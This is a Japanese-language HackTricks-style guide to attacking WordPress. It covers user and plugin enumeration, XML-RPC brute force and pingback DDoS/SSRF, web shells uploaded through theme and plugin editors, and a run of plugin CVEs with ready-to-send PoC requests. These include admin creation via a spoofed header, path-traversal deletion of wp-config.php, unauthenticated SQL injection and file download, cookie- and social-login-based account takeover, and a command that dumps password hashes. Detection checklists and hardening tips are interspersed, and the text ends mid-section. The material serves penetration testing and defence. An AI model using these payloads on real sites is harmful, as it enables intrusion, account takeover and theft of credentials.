Wordpress
Reading time: 48 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
-
Uploaded ファイルは次に保存されます:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, つまりテーマの php を変更して RCE を狙う場合、通常そのパスを使用します。例えば:theme twentytwelve を使用すると、次の 404.php ファイルに access できます: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
wp-config.php 内にはデータベースのルートパスワードが含まれていることがあります。
-
確認すべきデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtはインストールされている WordPress のバージョンなど有用な情報が含まれています。wp-activate.phpは新しい WordPress サイトのセットアップ中のメール有効化プロセスで使用されます。- Login フォルダ(隠すために名前が変更されている場合があります):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpは、HTTP をトランスポート、XML をエンコーディング機構としてデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の REST API に置き換えられています。wp-contentフォルダはプラグインやテーマが格納される主要なディレクトリです。wp-content/uploads/はプラットフォームへアップロードされたファイルが保存されるディレクトリです。wp-includes/は証明書、フォント、JavaScript ファイル、ウィジェットなどコアファイルが格納されるディレクトリです。wp-sitemap.xmlWordpress バージョン 5.5 以降では、公開されている投稿やパブリックにクエリ可能な投稿タイプ、タクソノミーを含む sitemap XML ファイルが自動生成されます。
Post exploitation
wp-config.phpファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシュート時に有用です。
ユーザー権限
- Administrator
- Editor: 自分と他者の投稿を公開および管理します
- Author: 自分の投稿を公開および管理します
- Contributor: 投稿を作成・管理できますが公開はできません
- Subscriber: 投稿を閲覧し、プロフィールを編集できます
Passive Enumeration
Get WordPress version
/license.txt または /readme.html が見つかるか確認してください
ページの source code 内(例: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS リンクファイル
.png)
- JavaScript ファイル
.png)
プラグインを入手
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
テーマを取得
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
バージョンを一般的に抽出する
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
アクティブ列挙
Plugins and Themes
すべての Plugins and Themes を見つけられないことが多い。すべてを発見するには、積極的に Brute Force して Plugins and Themes のリストを作成する 必要がある(幸い、自動化ツールがこれらのリストを含んでいることが多い)。
ユーザー
- ID Brute: WordPress サイトの有効なユーザーは、ユーザーID を Brute Forcing することで取得できる:
curl -s -I -X GET http://blog.example.com/?author=1
レスポンスが200または30Xの場合、そのidは有効です。レスポンスが400の場合、そのidは無効です。
- wp-json: クエリしてユーザーの情報を取得してみることもできます:
curl http://blog.example.com/wp-json/wp/v2/users
ユーザーに関する情報を明らかにする可能性がある別の /wp-json/ endpoint は次のとおりです:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. この機能を有効にしているユーザーに関する情報のみが提供されます。
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration:
/wp-login.phpにログインしようとすると、表示される メッセージ が 異なり、指定した ユーザー名が存在するかどうか を示します。
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).
To see if it is active try to access to /xmlrpc.php and send this request:
確認
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories または metaWeblog.getUsersBlogs は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかったら、次のようなものを送信できます:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
認証情報が無効な場合、HTTP 200レスポンス内に_"Incorrect username or password"_というメッセージが表示されるはずです。
%20(2)%20(2)%20(2)%20(2)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2)%20(4)%20(1).png)
.png)
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
また、同じリクエストで複数の認証情報を試せるため、より高速な方法として system.multicall を使うと認証情報の brute-force を行えます:
.png)
Bypass 2FA
このメソッドはプログラム向けで人間向けではなく古い実装のため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合、xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります。ただし、コンソールから行えるすべての操作ができるわけではありませんが、Ippsec が説明しているように RCE に至ることができる場合があります: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
リスト内にメソッド pingback.ping が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。
これを使えば、数千の Wordpress サイト に一つの 場所 へ アクセス させ(その場所で DDoS が発生します)、あるいは Wordpress に内部 ネットワーク を スキャン させることもできます(任意のポートを指定可能)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

faultCode の値が 0(17)より大きい 場合、そのポートは開いています。
前のセクションでの system.multicall の使い方を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
このファイルは通常Wordpressサイトのルートに存在します: /wp-cron.php
このファイルにアクセスされると、heavyなMySQL queryが実行されるため、attackersによってDoSを引き起こすために利用される可能性があります。
また、デフォルトでは wp-cron.php は各ページ読み込み時(クライアントが任意のWordpressページをリクエストするたび)に呼び出され、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。
Wp-Cronを無効化し、ホスト内で実際のcronジョブを作成して、定期的に必要な処理を実行することが推奨されます(問題を引き起こさないように)。
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
このツールは methodName: pingback.ping とパス /wp-json/oembed/1.0/proxy の存在を確認し、存在する場合はそれらを悪用しようと試みます。
自動ツール
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
1ビットを書き換えてアクセスを得る
実際の攻撃というよりは好奇心のためのものだ。 この CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では、任意の wordpress ファイルの 1ビットを反転させることができた。 そのため、ファイル /var/www/html/wp-includes/user.php の位置 5389 のビットを反転させて NOT (!) 演算を NOP にすることができた。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
パネル RCE
使用中のテーマの php を変更する(admin credentials が必要)
外観 → テーマエディター → 404 テンプレート(右側)
php shell 用に内容を変更:
.png)
更新したページにどうアクセスするかをインターネットで検索してください。この場合は次の URL にアクセスします: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
使用できます:
use exploit/unix/webapp/wp_admin_shell_upload
セッションを取得するため。
プラグイン RCE
PHP プラグイン
プラグインとして .php ファイルをアップロードできる場合があります。
例えば次のように PHP バックドアを作成します:
.png)
次に新しいプラグインを追加します:
.png)
プラグインをアップロードして「Install Now」を押します:
.png)
「Proceed」をクリックします:
.png)
おそらくこれだけでは何も起こらないように見えますが、Media に移動するとアップロードされたシェルが確認できます:
.png)
それにアクセスすると、リバースシェルを実行するための URL が表示されます:
.png)
Uploading and activating malicious plugin
この方法は、脆弱であることが知られている悪意のあるプラグインをインストールし、web シェルを取得するために悪用することを含みます。プロセスは WordPress ダッシュボードを通じて次のように行われます:
- プラグイン取得: プラグインは Exploit DB のようなソースから入手します(例: here)。
- プラグインのインストール:
- WordPress ダッシュボードに移動し、
Dashboard > Plugins > Upload Pluginに進みます。 - ダウンロードしたプラグインの zip ファイルをアップロードします。
- プラグインの有効化: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
- 悪用:
- プラグイン「reflex-gallery」をインストールして有効化すると、脆弱であることが知られているため悪用できます。
- Metasploit framework はこの脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
- これは WordPress サイトを悪用する多くの方法の一つに過ぎないことに注意してください。
この内容には、プラグインのインストールと有効化の手順を示す WordPress ダッシュボードの視覚的補助が含まれています。ただし、正当な許可なしにこのような方法で脆弱性を悪用することは違法かつ非倫理的である点に注意してください。本情報は責任を持って、明示的な許可のあるペネトレーションテストなど法的な文脈でのみ使用してください。
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
XSS から RCE へ
- WPXStrike: WPXStrike は、WordPress の Cross-Site Scripting (XSS) 脆弱性を Remote Code Execution (RCE) やその他の重大な脆弱性にエスカレートさせるためのスクリプトです。詳細は this post を参照してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X. をサポートし、以下を可能にします:
- Privilege Escalation: WordPress にユーザーを作成します。
- (RCE) Custom Plugin (backdoor) Upload: カスタムプラグイン(バックドア)を WordPress にアップロードします。
- (RCE) Built-In Plugin Edit: WordPress の組み込みプラグインを編集します。
- (RCE) Built-In Theme Edit: WordPress の組み込みテーマを編集します。
- (Custom) Custom Exploits: サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイト。
ポストエクスプロイテーション
ユーザー名とパスワードを抽出する:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
adminのパスワードを変更する:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress プラグイン Pentest
攻撃対象
Wordpress プラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を見つけるために重要です。以下の箇条書きでプラグインが機能を公開する可能性のある方法と、脆弱なプラグインの例を this blog post で確認できます。
wp_ajax
プラグインが機能を公開する方法の一つに、AJAXハンドラ経由があります。これらはロジック、authorization、または authentication のバグを含んでいることがあります。さらに、これらの関数は認証と認可の両方を Wordpress nonce の存在に基づいていることが多く、Wordpress インスタンスで認証された任意のユーザーが持っている可能性があります(役割に関係なく)。
プラグイン内の関数を公開するために使用される関数は以下のとおりです:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv の使用により、そのエンドポイントは任意のユーザー(未認証のユーザーも含む)からアクセス可能になります。
caution
さらに、関数が wp_verify_nonce を使ってユーザーの認可のみを確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常ユーザーのロール(権限)を確認しません。したがって、権限の低いユーザーが高権限の操作にアクセスできる可能性があります。
- REST API
wordpress から関数を register_rest_route 関数を使って rest AP を登録して公開することも可能です:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback is a callback to function that checks if a given user is authorized to call the API method.
If the built-in __return_true function is used, it'll simply skip user permissions check.
- Direct access to the php file
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセスできます。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能をプラグインが公開している場合、任意のユーザーによって悪用され得ます。
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一部のプラグインは内部連携や reverse proxies 向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザーコンテキストを設定するために使用します。上流のコンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して administrator として特権のある REST ルートにアクセスできます。
- Impact: 未認証の privilege escalation により、core users REST route を通して新しい administrator を作成し admin 権限を取得される可能性があります。
- Example header:
X-Wcpay-Platform-Checkout-User: 1(forces user ID 1, typically the first administrator account). - Exploited route:
POST /wp-json/wp/v2/usersに対し、昇格した role 配列を含むリクエストを送る。
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
なぜ動作するか
- プラグインはクライアントが制御するヘッダーを認証状態にマッピングし、capability チェックをスキップする。
- WordPress core はこのルートに対して
create_userscapability を期待している;プラグインのハックはヘッダーから直接現在のユーザーコンテキストを設定することでこれをバイパスする。
期待される成功指標
- 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。
wp-admin/users.phpに表示される新しい管理者ユーザー。
検出チェックリスト
- grep で
getallheaders(),$_SERVER['HTTP_...']、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダー SDK(例:wp_set_current_user(),wp_set_auth_cookie())を探す。 - 強固な
permission_callbackチェックを欠き、代わりにリクエストヘッダーに依存する特権コールバックについて REST 登録を確認する。 - REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(
wp_insert_user,wp_create_user)の使用を探す。
wp_ajax_nopriv による未認証の任意ファイル削除 (Litho Theme <= 3.0)
WordPress のテーマやプラグインはしばしば wp_ajax_ および wp_ajax_nopriv_ フックを通じて AJAX ハンドラを公開する。nopriv バリアントが使われると コールバックは未認証の訪問者から到達可能になるため、機密性の高い処理は次を追加で実装する必要がある:
- capability check(例:
current_user_can()または少なくともis_user_logged_in())、および check_ajax_referer()/wp_verify_nonce()で検証された CSRF nonce、および- 厳格な入力のサニタイズ/検証。
Litho multipurpose theme (< 3.1) は Remove Font Family 機能でこれら3つのコントロールを忘れてしまい、結果として次のコード(簡略化)を出荷した:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- 認証なしでのアクセス – the
wp_ajax_nopriv_hook is registered. - nonce / capability チェックなし – 任意の訪問者がエンドポイントにアクセスできる。
- パスのサニタイズなし – ユーザー制御の
fontfamily文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な../../トラバーサルを許可している。
悪用
攻撃者は単一の HTTP POST リクエストを送ることで、通常 <wp-root>/wp-content/uploads/ のuploads base directory 以下にある任意のファイルやディレクトリを削除できる:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
検出チェックリスト
- ファイルシステムヘルパー(
copy(),unlink(),$wp_filesystem->delete()など)を呼び出すadd_action( 'wp_ajax_nopriv_...')コールバック。 - 未サニタイズのユーザー入力をパスに連結している箇所(
$_POST,$_GET,$_REQUESTを探す)。 check_ajax_referer()やcurrent_user_can()/is_user_logged_in()が欠如していること。
古いロールの復元と認可不足による権限昇格 (ASE "View Admin as Role")
多くのプラグインは、元のロールを user meta に保存して後で復元できるようにすることで、「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ(例: $_REQUEST['reset-for'])とプラグインが管理するリストだけに依存し、権限チェックや有効な nonce の検証を行わない場合、これは垂直的な権限昇格になります。
実際の例として Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) にて発見されました。リセットの処理では、ユーザー名が内部配列 $options['viewing_admin_as_role_are'] に存在する場合に reset-for=<username> に基づいてロールを復元していましたが、現在のロールを削除して user meta _asenha_view_admin_as_original_roles から保存されたロールを再追加する前に current_user_can() チェックも nonce の検証も行っていませんでした:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
なぜ悪用可能か
- サーバー側の認可なしに
$_REQUEST['reset-for']とプラグインのオプションを信頼している。 - ユーザーが以前により高い権限を
_asenha_view_admin_as_original_rolesに保存されており、後で降格された場合、リセット用のパスにアクセスすることでそれを復元できる。 - 一部の導入環境では、認証済みの任意のユーザーが
viewing_admin_as_role_areにまだ存在する別のユーザー名のリセットをトリガーできる(認可の不備)。
悪用(例)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
脆弱なビルドでは、現在のロールを削除して保存された元のロール(例: administrator)を再追加し、実質的に権限を昇格させます。
Detection checklist
- Look for role-switching features that persist “original roles” in user meta (e.g.,
_asenha_view_admin_as_original_roles). - Identify reset/restore paths that:
- Read usernames from
$_REQUEST/$_GET/$_POST. - Modify roles via
add_role()/remove_role()withoutcurrent_user_can()andwp_verify_nonce()/check_admin_referer(). - Authorize based on a plugin option array (e.g.,
viewing_admin_as_role_are) instead of the actor’s capabilities.
cookie を信頼するユーザースイッチを public init に接続した場合の認証されていない権限昇格 (Service Finder “sf-booking”)
一部のプラグインは user-switching ヘルパーを public init フックに接続し、クライアント制御の cookie から識別を取得します。コードが認証、capability、および有効な nonce を検証せずに wp_set_auth_cookie() を呼び出すと、認証されていない訪問者が任意の user ID として強制ログインさせることができます。
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
なぜ悪用可能か
- 公開された
initフックにより、ハンドラは unauthenticated なユーザーから到達可能です(is_user_logged_in()ガードがありません)。 - 識別はクライアント側で変更可能なクッキー(
original_user_id)から導出されます。 wp_set_auth_cookie($uid)を直接呼び出すと、要求者はそのユーザーとしてログインされます(権限チェックや nonce チェックが行われません)。
悪用 (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WordPress/plugin CVE に関する WAF の考慮事項
汎用の edge/server WAF は広範なパターン(SQLi、XSS、LFI)に合わせて調整されています。多くの高影響な WordPress/plugin の脆弱性はアプリケーション固有のロジック/auth バグで、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り無害なトラフィックに見えます。
攻撃メモ
- プラグイン固有のエンドポイントをクリーンな payloads で狙う:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - まずは認証不要の経路を試す(AJAX
nopriv, REST with permissivepermission_callback, public shortcodes)。デフォルトの payloads は難読化なしで成功することが多い。 - 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
防御メモ
- プラグインの CVE を保護するために汎用 WAF シグネチャに頼らないこと。アプリケーション層で脆弱性特化の仮パッチを実装するか、迅速に更新する。
- コード内ではネガティブな regex フィルタよりも、ポジティブなセキュリティチェック(capabilities, nonces, strict input validation)を優先する。
WordPress の保護
定期的な更新
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.php で自動更新が有効になっていることを確認してください:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Also, 信頼できる WordPress プラグインとテーマのみをインストールしてください。
セキュリティプラグイン
その他の推奨事項
- デフォルトの admin ユーザーを削除する
- 強力なパスワードと2FAを使用する
- 定期的にユーザーの権限を確認する
- Brute Force 攻撃を防ぐためにログイン試行回数を制限する
wp-admin.phpファイル名を変更し、社内または特定のIPアドレスからのみアクセスを許可する。
認証不要の SQL Injection(不十分な検証による)(WP Job Portal <= 2.3.2)
WP Job Portal の求人プラグインは savecategory タスクを公開しており、最終的に modules/category/model.php::validateFormData() 内で以下の脆弱なコードを実行します:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
このスニペットで導入された問題:
- Unsanitised user input –
parentidは HTTP リクエストからそのまま取得されます。 - String concatenation inside the WHERE clause –
is_numeric()/esc_sql()/ prepared statement が使われていません。 - Unauthenticated reachability – action は
admin-post.php経由で実行されますが、存在するチェックは CSRF nonce (wp_verify_nonce()) のみで、任意の訪問者がショートコード[wpjobportal_my_resumes]を埋め込んだ公開ページから取得できます。
悪用
- 新しい nonce を取得:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentidを悪用して任意の SQL を注入:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
レスポンスは注入されたクエリの結果を開示するかデータベースを変更し、SQLi を立証します。
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
別のタスク、downloadcustomfile により、訪問者が path traversal を使ってディスク上の 任意のファイル をダウンロードできました。脆弱なシンクは modules/customfield/model.php::downloadCustomUploadedFile() にあります:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name は攻撃者に制御されており、without sanitisation のまま連結されています。 繰り返しになりますが、唯一の関門は resume page から取得できる CSRF nonce です。
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
サーバは wp-config.php の内容を返し、leaking DB credentials and auth keys.
未認証でのアカウント乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
多くのテーマ/プラグインは admin-ajax.php を介して公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) がプロバイダのデータが欠落している場合にクライアント提供の識別子を信頼し、その後 wp_set_auth_cookie() を呼び出すと、完全な認証バイパスになります。
典型的な脆弱なパターン(簡略化)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Why it’s exploitable
- 未認証で到達可能 — admin-ajax.php(wp_ajax_nopriv_… action)。
- 状態変更の前に nonce/capability チェックがない。
- OAuth/OpenID プロバイダの検証が欠如している;デフォルトの分岐が攻撃者の入力を受け入れる。
- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が続き、要求者を任意の既存のメールアドレスとして認証してしまう。
Exploitation (unauthenticated)
- Prerequisites: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザのメールアドレスを知っているか推測できること。
- provider をサポートされていない値に設定(または省略)してデフォルトの分岐を通り、id=<victim_email> を渡す。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
一部のプラグインは、呼び出し元の権限を検証せずに再利用可能な「connection keys」やトークンを発行するRESTエンドポイントを公開しています。ルートが推測可能な属性(例: username)のみで認証し、キーをユーザー/セッションに厳密な capability チェックで紐付けない場合、未認証の攻撃者がキーを発行して権限のある処理(管理者アカウント作成、プラグインの特権アクション → RCE)を呼び出せます。
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
